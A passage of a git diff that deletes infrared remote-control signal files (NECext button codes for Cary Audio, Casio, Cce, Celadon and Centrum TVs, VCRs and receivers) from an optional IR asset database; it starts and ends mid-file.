-protocol: NECext -address: 17 00 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0A 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0C 00 00 00 -# -name: SUB-TITLE -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0F 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 10 00 00 00 -# -name: SET-UP -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 11 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 12 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 13 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 14 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 15 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 16 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 17 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 18 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1C 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1D 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1E 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1F 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 20 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 21 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 22 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 24 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir deleted file mode 100644 index 752766624..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STEREO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 41 00 00 00 -# -name: AUTO_DETECT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: PLIIX -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 45 00 00 00 -# -name: CES_7.1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 46 00 00 00 -# -name: AUTO_DECODE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 48 00 00 00 -# -name: NEO_96/24 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 49 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4D 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 54 00 00 00 -# -name: 7.1_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: 2XF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: 7.1_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 58 00 00 00 -# -name: LATE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 59 00 00 00 -# -name: 1/_DVD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5C 00 00 00 -# -name: 4/_CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: 7/_TV -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5E 00 00 00 -# -name: 3/_DVCR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5F 00 00 00 -# -name: SUR._MODE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 60 00 00 00 -# -name: INPUT_+ -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 61 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 62 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 63 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 64 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 65 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 66 00 00 00 -# -name: 6/_TUNER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 70 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 71 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 72 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 73 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 74 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 75 00 00 00 -# -name: 9/_DIRECT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 78 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 79 00 00 00 -# -name: INPUT_- -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7C 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir deleted file mode 100644 index c4d2e55eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 1C 00 00 00 -# -name: TV_VIDEO -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir deleted file mode 100644 index 67ac0c426..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: p.skip -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: auto_image -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: p.ch -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: dsc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 75 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir deleted file mode 100644 index 073d5d8d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: p.skip -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: auto_image -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: out -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: p.ch -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: sap -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: dsc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 75 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir deleted file mode 100644 index 41ef91417..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: TV/CATV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir deleted file mode 100644 index 8af73f383..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: 00 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: 3S -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: END_DOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: CH_DOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: END_UP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: START_DOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1C 00 00 00 -# -name: START_UP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: HI-REW -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1E 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: REW_STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 25 00 00 00 -# -name: MINUS -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 31 00 00 00 -# -name: PLUS -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 35 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir deleted file mode 100644 index 72aa86a21..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 00 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 01 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 02 00 00 00 -# -name: HD -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 03 00 00 00 -# -name: HD2 -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 04 00 00 00 -# -name: RGB_1 -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 05 00 00 00 -# -name: RGB_3 -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 06 00 00 00 -# -name: RGB_2 -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 07 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 09 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 0A 00 00 00 -# -name: FULL -type: parsed -protocol: NECext -address: 7B 02 00 00 -command: 0B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir deleted file mode 100644 index 6c4afa1cf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 00 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 03 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 06 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 09 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0A 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 15 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 20 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 21 00 00 00 -# -name: SEARCHMODE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 23 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 29 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2B 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2D 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2F 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 30 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 32 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 34 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 36 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 37 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 38 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir deleted file mode 100644 index eb77d1417..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 00 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 06 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1D 